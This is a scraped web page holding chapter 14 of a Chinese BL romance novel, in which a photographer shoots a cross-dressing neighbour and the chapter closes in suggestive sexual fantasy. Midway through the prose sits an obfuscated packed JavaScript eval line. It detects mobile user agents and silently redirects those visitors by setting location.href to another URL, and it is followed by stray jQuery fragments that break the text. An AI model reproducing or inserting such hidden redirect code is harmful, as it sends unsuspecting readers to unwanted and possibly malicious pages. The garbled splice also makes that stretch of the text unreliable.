14. 第 14 章

作品:《难言之欲

    初中收情书,高中当面表白,大学被陌生人加微信,诸如此类的事周道森经历得不少,以前会收敛着婉拒,之后没了性子,一句“我是gay”不体面地丢出去,省了许多麻烦事。


    但他从未对男人有过兴趣。


    确切地来说,他就没有对谁有过兴趣。


    他是寒山上的松柏,受过严苛的教育,自小就听长辈“讲经”,耳濡目染,想学坏都难。


    长大后,他虽然有了自己做主的权利,却也没有报复性地花天酒地。绝大多数的人认为花天酒地是享受是自由,在周道森这里却不是,他认为那是堕落没有自控力缺乏上进心且无意义的消耗,消耗大脑,消耗精力,消耗正能量,是毁灭一个人的刽子手,偏偏人还喜欢替罪孽粉饰,粉饰那是自由与快意。


    他还曾劝过陆平威,叫他收敛一点,把心思摆正,他至今记得陆平威反驳他的话,他说:“周哥,你不懂,你不懂有些诱惑是没有办法推拒的,它站在理智之上。”


    周道森当初讽他,真会给自己的自甘堕落找借口。一直到现在他仍然这么认为,认为一个人的意志大于世间所有的诱惑,如果你认为那个诱惑大到你无法推拒,可以毁灭你的理智,可以让你放下所有,那是因为你本身就不是一个意志坚定的人。


    陆平威说,周哥,你没玩过,你不懂,人的身体是很漂亮的,那就是一件无价的艺术品,它可以满足你的精神需求,可以将你拉到痛快的天堂里,每个天堂带来的感受都不一样,我无法向你描述,除非你自己抵达那个地方。


    油嘴滑舌如陆平威,也无法形容出的那个天堂,曾让周道森感到几秒钟的好奇,而他没有去为这种好奇买单,付诸实践,因为周道森保守。


    他认为的情感发展顺序,要先产自于喜欢,这份喜欢不能是其他方面的渴求,包括肉.欲,那太低级了,那得是对一个人的钦佩,为一个人心动,其他各种理由都是借着喜欢的名义耍流氓,是虚假的,玷污性的,没有参考意义的。


    陆平威总说他错过了许多的风景,周道森却不以为意,认为自己从来没有错过任何风景,他活得自律,也活得坚定。


    他不会与陆平威的“糟糠思想”同流合污,也不会去夜店里寻找爱情,肉.欲是庸俗而下贱的,它是一切堕落的起源。


    周道森的目光瞬间严肃了起来,镜头里的身体和陆平威说的一样,是一件无价的艺术品,它模糊了性别的界限,只是一副非常美丽的躯体,那曲线曼妙有致,婀娜多姿。长裙上细碎的珍珠在轻微地抖动,幅度很小,似有人一箭射碎了天上的星。


    它们四分五裂地砸下来,砸进漆黑的瞳孔,又妄图砸碎理智。


    “需要知道吗?”周道森按下快门,室内寂静极了,足以听到对话之外的声音。


    虞贞握住椅背,依然保持着那个姿势一动未动,笑意盈盈,目光似要通过镜头和男人眼里的质疑相接:“我们是邻居,远水救不了近火,以后说不定有很多互帮互助的地方,知道这个,不应该吗?”


    “没有必要,”周道森再次拒绝了他,并且不再委婉,“我一向不喜欢麻烦别人,也不喜欢别人麻烦我。”


    虞贞还是笑着,一点也不介意对方的直抒胸臆,温柔似水地说:“那可不一定呢,谁能保证今后没有需要帮助的状况再出现?我们都还年轻,出门在外,话还是不要说这么早。”


    周道森停下拍摄,给相机调参数,就差直白地告诉对方我刚才是骗你的,我会用相机,但不想给你拍照,他熟练地调试中,毫不留情地说:“我在上一个地方住了很久,没有主动敲过邻居的房门。”


    相机很好操控,在周道森的手里很听话。


    “可是你敲过我的门,”虞贞直起腰,手掌落在脚腕上,握住,半坐在椅子上说,“楼道里好多扇门,你没有敲别人的,这就是我们的缘分,我们注定要成为互帮互助的邻居。”


    他有些道德绑架的意思。


    周道森拎着相机,抬眼凝视椅子上曼妙的身体,不上套不入局:“我想我今天做的事,足以还你一杯水一瓶醋的人情,你不需要知道我的名字,就像我不需要知道你要把照片发给谁。”


    “咔嚓。”


    虞贞闭了闭眼。


    他是真不愿意跟自己扯上关系了,虞贞不了解对方的脾性,也能容忍别人的拒绝,他只是问了下对方的名字,就引了这么多“楚河汉界”条条分明的警告来,像是知道了他的心思,在防着他。


    他还是第一回遇见想要防着他的人。


    虞贞揉了揉自己的脚踝,掀开裙摆,让它们自由地落下,形成不规则的线条,他将脑袋抵着椅背,说道:“你可以问我,我会回答你。”


    “我不感兴趣。”周道森举起相机,配合默契。


    说话真伤人呢,不过本来也没什么交情,今后也不愿意跟他有交情,决绝的说话方式倒是聪明的做法。


    虞贞不上赶着解释,他不明白对方为什么对他有意见,他不会把这些归咎于自己做错了什么,他更倾向于对方自己有某种要求,而他没有达到,那是对方自己的事情,跟他没关系,他只是一个陌生人,陌生人是不需要满足另一个人的标准的。


    即使对方误会了他什么,虞贞也愿意让这种误会持续下去,对陌生人解释更像是讨好,他可以讨好给他发钱的金主和甲方,但不会随意讨好陌生人。


    身上这条长裙的拍摄任务已经结束,虞贞从椅子上起身,踩着高跟鞋走向了周道森,对方迫不及待地问:“我的任务结束了?”


    虞贞拉着肩带说:“我要先看下照片。”


    周道森将相机还给对方,虞贞正要去接,可是对方把相机架在了三脚架上,连这么一点点肢体接触也给免了,虞贞愣了下,看向男人,男人向后退了一步,那一步的动作里是丰富的含义,虞贞勾起唇角,从三脚架上将相机取了下来。


    相机很热,还残留着男人指尖的温度。


    虞贞打开照片查看清晰度和角度,以及他的神态,奇妙的是男人很会抓拍,比陈清怀给他拍摄得完成度还要高,每一张都可以直接拿去后期处理。


    周道森在他看到第四张照片时问:“可以吗?”


    他还是有还情的态度的。


    他急着结束这份冤孽,并打算今后不再敲响这间房门。


    虞贞说:“还没看完。”


    周道森站在虞贞的后头,对方的身量纤细,跟正常男人的体型比,显出几分柔若无骨来,他的皮肤像做过医疗手段,白得发腻,骨线漂亮的脊背上垂着一头柔顺黑亮的发,挡住了部分挺立的肩胛。


    周道森可以一只手捏碎他的腰,可以撕碎他的裙子,可以让那美妙的风景没有任何遮挡地呈现在眼前,他能做的很多,但他一个也没做,仅仅是这么想着,他就责怪自己犯混了。


    虞贞早已经检查完了全部的照片,却没有转过身来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294148|167066||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他想回头看看男人的目光在望向那里,是他最满意的部位吗?他的脊背曲线很好看,他也不介意分享。


    他没有回头,因为不想撞上男人冷淡的目光,不是会受伤,而是眼眸里那种冷色,叫人太过兴奋了。


    虞贞就这么查看着照片,过了很久,男人都没有再催促他,直到虞贞自己喊停,他转过身来,望着男人的眼睛,夸奖道:“你拍的真好。”


    周道森对夸奖不感冒,只说了句:“满意就好。”


    紧随着就是一句打击氛围的要求:“我可以走了?”


    “别,”虞贞当即按住了他的胳膊,这个微弱的动作引得了对方的不满,周道森皱起了眉头,很小的一下,虞贞捕捉后立刻拿开了手,“还有最后一件。”


    似乎怕对方拒绝,虞贞又立刻体面地说:“就当是我求你帮忙,我可以有偿。”


    好像真的很需要。


    周道森审视他眼里的真诚,没有坚定地拒绝,送佛送到西,他言简意赅:“不用,去拿。”


    虞贞像是看到了某种希望。


    他道了声谢,笑容也变得阳光了,走到一旁的落地柜前,虞贞挑选了起来。


    周道森在这期间扫视了一眼房间,别有洞天,造景很美,拍摄容易出片,一边的衣架上还挂着许多的礼服款长裙,没有男装,这就像一个热爱打扮的女生的天堂。


    化妆桌上有许多零零碎碎波光盈盈的小饰品,像是耳坠项链发卡一类的东西,勾子上还有几条色彩各异的长丝带,不知用来做什么的,浮想联翩。


    整个房间,比周谈希的卧室还夸张。


    柜子里眼花缭乱的裙子各有特点,长短不一,凸显的主要部位也不同,虞贞随手捞了一个发夹,将头发在指尖绕了两下,挽在了脑后,他精心地开始挑选下一件,偶尔回头看向男人宽阔的肩。


    好棒的身材。


    他终于明白自己不满秦倍的地方在哪里,人一旦见过更好的东西,那所谓的再好,也不过是退而求其次。


    他从业这么多年,未曾见到过另一个让他想要不顾一切与之发生欢愉的身材,时尚圈那么多精壮的男人,他们掌心抚向自己的腰背时,都不如眼前这个男人轻蔑的一眼。


    他虞贞是受虐狂吗?他竟然喜欢这个男人的冷眼。


    好棒。


    好有爽感的眼神,好一个不待见。


    他的腰腹看起来就很有力量,看起来就很会顶,很会撞。


    虞贞刚摸过他的胳膊,那么短的时间里,他觉得自己摸到了对方跳动的筋脉,那充满威慑力生命力的筋脉,每跳动一下,都仿若在自己龌龊不堪的精神世界中冲撞。


    在男人看不见的视角刁钻之处,虞贞的眼睛燃了一把微弱的火光,随即灰暗下来,他的指尖挑挑拣拣,最终落在一件薄如蝉翼的服装上。


    那是虞贞接拍女装合作以来,从业多年以来,贡献过的尺度最大,穿戴过的布料最少,后腰只有两根丝带的情趣装。


    丝带系在后腰,流苏在腿根轻晃,任何摄影师都不能出现,是他虞贞需要自己躲起来,撕碎体面,无限降低下限,对着镜头,卖弄风骚的大不雅服装。


    那衣服淫到——若是有人进来强他,直接就能得到。


    他看向男人的腰,手指一挑,衣服落于掌心,虞贞闭上眼睛,衣服上有淡淡的香味,他在想,他要躺着,还是跪着呢。


    要刺激前面,还是后面呢。